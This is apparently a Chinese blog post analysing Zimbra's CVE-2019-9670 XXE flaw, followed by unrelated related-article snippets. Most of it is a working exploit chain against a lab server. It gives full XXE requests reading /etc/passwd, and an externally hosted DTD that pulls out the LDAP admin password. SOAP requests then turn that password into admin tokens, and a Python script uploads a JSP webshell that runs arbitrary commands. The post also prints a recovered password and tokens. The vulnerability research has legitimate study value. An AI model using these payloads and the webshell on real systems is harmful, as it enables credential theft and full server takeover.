Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
漏洞简介
Zimbra
是著名的开源系统,提供了一套开源协同办公套件包括WebMail
,日历,通信录,Web
文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入)
漏洞读取localconfig.xml
配置文件来获取Zimbra admin ldap password,
接着通过SOAP AuthRequest
认证得到Admin Authtoken
,最后使用全局管理令牌通过ClientUploader
扩展上传Webshell
到Zimbra
服务器,从而实现通过Webshell
来达到远程代码执行效果。(需要注意,最后要达到RCE
要结合SSRF
漏洞,即需要结合另一个漏洞CVE-2019-9621
)
漏洞影响范围
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
漏洞环境搭建
此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看https://blog.csdn.net/sxr__nc/article/details/130115884?spm=1001.2014.3001.5502
漏洞复现
(此处只针对漏洞是否存在进行复现验证)
使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request>
</Autodiscover>
查看返回的数据包如下:
成功返回passwd文件内容.
漏洞原理分析
前置背景
关于XML注入漏洞
XML
有两个先驱——SGML
(标准通用标记语言)和HTML
(超文本标记语言),这两个语言都是非常成功的标记语言。SGML
多用于科技文献和政府办公文件中,SGML
非常复杂,其复杂程度对于网络上的日常使用简直不可思议。HTML
免费、简单,已经获得了广泛的支持,方便大众的使用。而XML
(可扩展标记语言)它既具有SGML
的强大功能和可扩展性,同时又具有HTML
的简单性。
XML
注入攻击和SQL
注入攻击的原理一样,利用了XML
解析机制的漏洞,如果系统对用户输入"<",">"
没有做转义的处理,攻击者可以修改XML
的数据格式,或者添加新的XML
节点,就会导致解析XML
异常,对流程产生影响。
攻击方式
如下为正常的注册访问用户XML
数据,其中用户名由用户自己输入。
<?xml version="1.0" encoding="UTF-8"
<user role="guest">用户输入</user>
正常情况下的用户输入可以是如下格式:
<?xml version="1.0" encoding="UTF-8"
<user role="guest">Admin</user>
<?xml version="1.0" encoding="UTF-8"
<user role="guest">test</user>
攻击者构造恶意数据可能是如下格式:
<?xml version="1.0" encoding="UTF-8"
<user role="guest">test</user>
<user role="admin">Hacker</user>
即攻击者在输入用户名数据的时候构造test\</user>\<user role="admin">Hacker
这样的恶意数据包,如果系统对用用户输入的"<",">"
符号没有进行处理,就会导致上述类型的攻击,攻击者在发送上述类型的数据包的时候可以新建一个admin
权限的用户Hacker
.
关于XXE注入漏洞
XML
外部实体注入(XML External Entity
)简称XXE
漏洞。XXE:XML External Entity
即外部实体,从安全角度理解成XML External Entity attack
外部实体注入攻击,由于程序在解析输入的XML
数据时,解析了攻击者伪造的外部实体而产生的。
概括一下就是"攻击者通过向服务器注入指定的xml
实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml
数据,而又没有做严格的安全控制,从而导致xml
外部实体注入。
关于DTD
XML
文档有自己的格式规范,而这个格式规范是由DTD(document type definition)
控制的,示例代码如下:
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
DTD
(文档类型定义)的作用是定义 XML
文档的合法构建模块。DTD
可被成行地声明于 XML
文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如DTD
被包含在XML
源文件中,它可以通过下面的语法包装在一个DOCTYPE
声明中:
<!DOCTYPE root-element [element-declarations]>
带有 DTD
的XML
文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
详细解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
下边的数据即标识具体对应元素的数据
外部的 DOCTYPE 声明
如果DTD
位于XML
源文件的外部,那么通过下边的语法封装在DOCTYPE
中:
<!DOCTYPE root-element SYSTEM "filename">
带有外部DTD的XML文档示例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body>
</note>
其中外部dtd
文件内容如下:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
关于DTD中的实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
1:实体引用是对实体的引用。
2:实体可在内部或外部进行声明。内部实体的声明:
语法:<!ENTITY entity-name "entity-value">
示例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用:
<author>&writer;©right;</author>
外部实体的声明:
语法:<!ENTITY entity-name SYSTEM "URI/URL">
示例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
引用:
<author>&writer;©right;</author> <!--这里的引用会直接获取到外部的dtd文件的内容-->
通用实体:用&实体名;
引用的实体在DTD
中定义,在XML
文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ...
</updateProfile>
<!--此处&file:即为参数实体,在DTD中定义为一个外部的实体-->
参数实体:
1.使用% 实体名;
引用的实体,在DTD
中定义,并且只能在DTD
中使用%实体名;
引用
2.只有在DTD
文件中,参数实体的声明才能引用其他实体
3.和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
xxe漏洞原理
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
以上示例代码在解析的时候会提交两个主要参数,一个是<pass>mypass\</pass>
,一个是<user>&xxe;</user>
,在解析的过程中遇到实体的引用会直接获取相应的内容,即这里碰到&xxe
会直接获取到外部实体file:///c:/test.dtd
的内容,这样一来处理数据会很方便,但同时也会有巨大的安全隐患:如果把目标dtd
文件换成敏感文件,这样就会获取到敏感文件的内容。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
CVE-2019-9670在原理上和这个是相通的。
定位漏洞点
向https://192.168.220.56:7071/Autodiscover/Autodiscover.xml
发送一个空的xml数据包,如下:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<a></a>
查看返回的数据包:
HTTP/1.1 400 No Email address is specified in the Request
Date: Thu, 06 Apr 2023 11:46:58 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 339<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 400 No Email address is specified in the Request</title>
</head>
<body><h2>HTTP ERROR 400</h2>
<p>Problem accessing /service/autodiscover/Autodiscover.xml. Reason:
<pre> No Email address is specified in the Request</pre></p>
</body>
</html>
注意关键字:No Email address is specified in the Request
。
使用反编译软件反编译zimbrastore.jar
包,在其中查找该字符串:找到之后打开目标文件
打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由doPost
函数进行处理的:到这儿就已经大概定位到漏洞函数了,接下来继续对该函数进行深入分析.
doPost函数逻辑分析
doPost
函数的主要逻辑解析如下:
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {····················· NodeList nList = doc.getElementsByTagName("Request"); //获取request标签的内容for (int i = 0; i < nList.getLength(); i++) {Node node = nList.item(i);if (node.getNodeType() == 1) {Element element = (Element)node;email = getTagValue("EMailAddress", element); //获取EMailAddress标签的内容responseSchema = getTagValue("AcceptableResponseSchema", element);if (email != null) //获取AcceptableResponseSchema标签的内容break; } } } catch (Exception e) { //处理异常 如果body体为空返回报错信息 Body cannot be parsed log.warn("cannot parse body: %s", new Object[] { content }); sendError(resp, 400, "Body cannot be parsed");return;} if (email == null || email.length() == 0) { //如果获取到的email地址为空,返回报错信息log.warn("No Email address is specified in the Request, %s", new Object[] { content });sendError(resp, 400, "No Email address is specified in the Request");return;} //对AcceptableResponseSchema内容进行判断,如果不满足条件,返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点if (responseSchema != null && responseSchema.length() > 0)if (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006") && !responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")) {log.warn("Requested response schema not available " + responseSchema);sendError(resp, 503, "Requested response schema not available " + responseSchema);return;} log.debug("Authenticating user");······························
逻辑整理:通过分析doPost
函数的处理流程,在整体的处理过程中对于请求的数据包,只针对EMailAddress
和AcceptableResponseSchema
两个字段进行的解析,在解析的过程中会判断获取到的邮箱地址和AcceptableResponseSchema
字段是否满足既定条件,具体判断如下:
1:判断获取到的邮箱地址是否为空,为空或者长度为0,则返回400的报错信息,提示:请求的数据包中没有Email地址
2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为0
3:判断AcceptableResponseSchema是否等于既定的数据,如果不等于则返回503的报错信息,与此同时返回AcceptableResponseSchema字段中的数据
和上边已经介绍过的XXE漏洞相同,在这里如果把引用的外部实体修改为敏感文件路径,就会直接获取到敏感文件的内容,同时回显出来
漏洞后续利用
前提条件
如果要想达到RCE
的效果,需要再结合SSRF
漏洞来完成,即需要结合CVE-2019-9621
进行结合利用,CVE-2019-9621
是一个SSRF
漏洞,这两个漏洞结合可以达到RCE
的效果。(这个其实是官方的利用思路,但是其实不需要9621也可以直接完成RCE
)
获取关键配置文件信息
接下来利用上述xxe
漏洞获取zimbra
的关键配置文件内容,目的是从配置文件中获取zimbra
的用户名及密码信息。对应的关键配置文件为localconfig.xml
,但是还有一个问题:这个目标文件是一个xml
文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取
)需要借用外部dtd
,构造的外部dtd
如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
创建的poc.dtd
文件,在本地开启http
服务,保证在发送数据包的时候可以成功访问到目标文件
发送如下数据包:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<!DOCTYPE Autodiscover [<!ENTITY % dtd SYSTEM "http://192.168.220.124:8000/poc.dtd">%dtd;%all;]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema></Request>
</Autodiscover>
服务端的数据请求记录:
返回的数据包如下:成功获取到密码
获取低权限token
接下来的利用接口为:https://IP:7071/service/admin/soap
发送的数据包如下:
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="adminName">zimbra</account><password>XXXX</password> //填写上边获取到的密码</AuthRequest></soap:Body>
</soap:Envelope>
相应的数据包如下:
获取高权限token
这里需要注意下:官方发出的通告声明,这里需要使用SSRF
漏洞(即CVE-2016-9621
)进行高权限的token
获取,其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的token
,当然这个方式有运气的成分,但是也是有理可依的,发送如下数据包:
PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token |
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 461
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAdmin"><account by="adminName">zimbra</account><password>oD4I8Bnm</password></AuthRequest></soap:Body>
</soap:Envelope>
获取到的数据包内容如下:
官方利用方式:利用SSRF漏洞完成
Post: /service/proxy?target=https://IP:7071/service/admin/soap
Ps:(1)HOST:后面加端口7071(2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token(3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin
利用高权限token上传文件
import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b",#改成自己的admin_token
"Host":"foo:7071"}
r=requests.post("https://192.168.220.56:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)
实现RCE
上传文件成功之后,访问地址https://192.168.220.56:7071/downloads/sunian.jsp
,访问的时候需要在Cookie
里边填写高权限的token
,发送请求数据包如下:(这里远程执行ls命令)
GET /downloads/sunian.jsp?pwd=023&i=ls HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
返回的数据包如下:
尝试执行其它命令:发送如下数据包:
GET /downloads/sunian.jsp?pwd=023&i=id HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
执行id命令,返回的数据包如下:
参考链接
https://xz.aliyun.com/t/7991
https://www.hacking8.com/bug-product/Zimbra/CVE-2019-9621-CVE-2019-9670-Zimbra-远程代码执行漏洞.html
https://coco413.com/archives/52/
相关文章:

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析 漏洞简介 Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决…...

【数据结构初阶】第七节.树和二叉树的性质
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 前言 一、树 1.1 树的概念 1.2 树的结点分类 1.3 结点之间的关系 1.4 树的存储结构 1.5 其他相关概念 二、 二叉树 2.1 二叉树的概念 2.2 特殊的二叉树 2.3 二叉树的性质 2.4…...

车载软件架构——闲聊几句AUTOSAR BSW(一)
我是穿拖鞋的汉子,魔都中坚持长期主义的工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 人生是用来体验的,不是用来演绎完美的。我慢慢能接受自己身上那些灰暗的部分,原谅自己的迟钝和平庸,允许自己出错,允许自己偶尔断电,带着缺憾拼命绽放,…...

我国元宇宙行业分析:政策、技术、资金助推行业探索多元化应用场景
1.元宇宙行业概述、特征及产业链图解 元宇宙是人类运用数字技术构建的,由现实世界映射或超越现实世界,可与现实世界交互的虚拟世界,具备新型社会体系的数字生活空间,主要具有沉浸式体验、开放性、虚拟身份、不断演化、知识互动、…...

都已经那么卷了,用户还需要开源的 API 管理工具么
关于 API 管理工具,如今的市场已经把用户教育的差不多了,毫不夸张地说,如果我随机抽取一位幸运读者,他都能给我罗列出一二三四款大家耳熟能详的工具。可说到开源的 API 管理工具,大家又能知道多少呢? 我们是…...
工信部教育与考试中心-软件测试工程师考试题A卷-答
软件测试工程师考试题 姓名________________ 学号_________________ 班级__________________ 题号 一 二 三 四 五 总分 分数 说明:本试卷分五部分,全卷满分100分。考试用时100分钟。 注 意 事 项:1、本此考试为闭卷…...

【设计模式】模板方法模式--让你的代码更具灵活性与可扩展性
文章目录 前言模板方法模式的定义核心组成模板方法模式与其他设计模式的区别 代码实现抽象类具体类Client 经典类图spring中的例子 总结 前言 在软件开发中,设计模式是一种经过实践检验的、可复用的解决方案,它们可以帮助我们解决某一特定领域的典型问题…...
搞明白Redis持久化机制
Redis是一种内存数据库,其内存中的数据存储在计算机的内存中,如果服务器发生崩溃或者重启,内存中的数据将会丢失。为了避免这种情况发生,Redis提供了两种持久化机制:RDB和AOF。 一、RDB持久化 Redis支持将当前数据状…...
C# 中的正则表达式,如何使用正则表达式进行字符串匹配和替换?
在 C# 中,可以使用正则表达式进行字符串匹配和替换。正则表达式是一种用来描述字符串模式的语言,可以用来检查一个字符串是否符合某种模式,或者从字符串中提取符合某种模式的子串。下面我们介绍一些常用的正则表达式操作: 创建正…...

7年时间,从功能测试到测试开发月薪30K,有志者事竟成
突破自己的技术瓶颈并不是一蹴而就,还是需要看清楚一些东西,这里也有一些经验和见解跟大家分享一下。同样是职场人士,我也有我的经历和故事。在工作期间,我有过2年加薪5次的小小“战绩”(同期进入公司的员工࿰…...

ES6 块级作用域
ES6之前没有块级作用域,ES5的var没有块级作用域的概念,只有function有作用域的概念,ES6的let、const引入了块级作用域。 ES5之前if和for都没有作用域,所以很多时候需要使用function的作用域,比如闭包。 1.1.1 什么…...
ShardingSphere-JDBC垂直分片
什么是数据分片? 简单来说,就是指通过某种特定的条件,将我们存放在同一个数据库中的数据分散存放到多个数据库(主机)上面,以达到分散单台设备负载的效果。 数据的切分(Sharding)根据…...

Node 04-http模块
HTTP 协议 概念 HTTP(hypertext transport protocol)协议;中文叫 超文本传输协议 是一种基于TCP/IP的应用层通信协议 这个协议详细规定了 浏览器 和 万维网 服务器 之间互相通信的规则 协议中主要规定了两个方面的内容: 客户端࿱…...
记录项目过程中的编译错误及解决方法(持续更新中)
文章目录 前言 前言 记录做项目的时候编译问题,好记性不如烂笔头,下次碰到相同的问题也可以方便查阅 2023.3.22 问题1:每次跑回归测试的时候,总是会出现错误,总共只有5个test,单独跑这个case的时候是没有…...
Android Hilt依赖注入框架
Hilt 是一个基于 Dagger2 的依赖注入框架,它提供了一些简便的注入方式来简化开发者在 Android 应用中使用 Dagger2 的复杂性。Hilt 旨在简化 Android 应用程序中的依赖注入实现,使开发人员能够更轻松地管理依赖项和应用程序的组件。 Hilt 的主要目标是提…...

LeetCode:59. 螺旋矩阵 II
🍎道阻且长,行则将至。🍓 🌻算法,不如说它是一种思考方式🍀 算法专栏: 👉🏻123 一、🌱59. 螺旋矩阵 II 题目描述:给你一个正整数 n ,…...

信息安全复习六:公开密钥密码学
一、章节梗概 1.公开密钥密码模型的基本原理 2.两个算法:RSA&D-H算法 主要内容 1.对称密钥密码的密钥交换问题 2.公钥密码模型的提出 3.设计公钥密码的基本要求 4.数字签名 5.RSA算法 6.公钥密码的特征总结 二、对称密钥密码 对称加密算法中,数据…...

YOLOv8 更换主干网络之 ShuffleNetv2
《ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design》 目前,神经网络架构设计多以计算复杂度的间接度量——FLOPs为指导。然而,直接的度量,如速度,也取决于其他因素,如内存访问成本和平台特性。因此,这项工作建议评估目标平台上的直接度量,而…...
async/await最详细的讲解
一、async 和 await 在干什么 async 是“异步”的简写,而 await 的意思是等待。async 用于申明一个 function 是异步的,而 await 等待某个操作完成。 async/await 是一种编写异步代码的新方法。之前异步代码的方案是回调和 promise。 async/await 像 p…...

学习数据结构第6天(栈的基本概念)
栈的基本概念 栈的定义栈的基本操作栈的存储结构 栈的定义 栈(Stack)是一种基于先进后出(FILO)或者后进先出(LIFO)的数据结构,是一种只允许在一端进行插入和删除操作的特殊线性表。 栈按照先进后出的原则存储数据,先进入的数据被压入栈底,最…...

Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...

【kafka】Golang实现分布式Masscan任务调度系统
要求: 输出两个程序,一个命令行程序(命令行参数用flag)和一个服务端程序。 命令行程序支持通过命令行参数配置下发IP或IP段、端口、扫描带宽,然后将消息推送到kafka里面。 服务端程序: 从kafka消费者接收…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...

莫兰迪高级灰总结计划简约商务通用PPT模版
莫兰迪高级灰总结计划简约商务通用PPT模版,莫兰迪调色板清新简约工作汇报PPT模版,莫兰迪时尚风极简设计PPT模版,大学生毕业论文答辩PPT模版,莫兰迪配色总结计划简约商务通用PPT模版,莫兰迪商务汇报PPT模版,…...

c++第七天 继承与派生2
这一篇文章主要内容是 派生类构造函数与析构函数 在派生类中重写基类成员 以及多继承 第一部分:派生类构造函数与析构函数 当创建一个派生类对象时,基类成员是如何初始化的? 1.当派生类对象创建的时候,基类成员的初始化顺序 …...
深入理解Optional:处理空指针异常
1. 使用Optional处理可能为空的集合 在Java开发中,集合判空是一个常见但容易出错的场景。传统方式虽然可行,但存在一些潜在问题: // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...
前端中slice和splic的区别
1. slice slice 用于从数组中提取一部分元素,返回一个新的数组。 特点: 不修改原数组:slice 不会改变原数组,而是返回一个新的数组。提取数组的部分:slice 会根据指定的开始索引和结束索引提取数组的一部分。不包含…...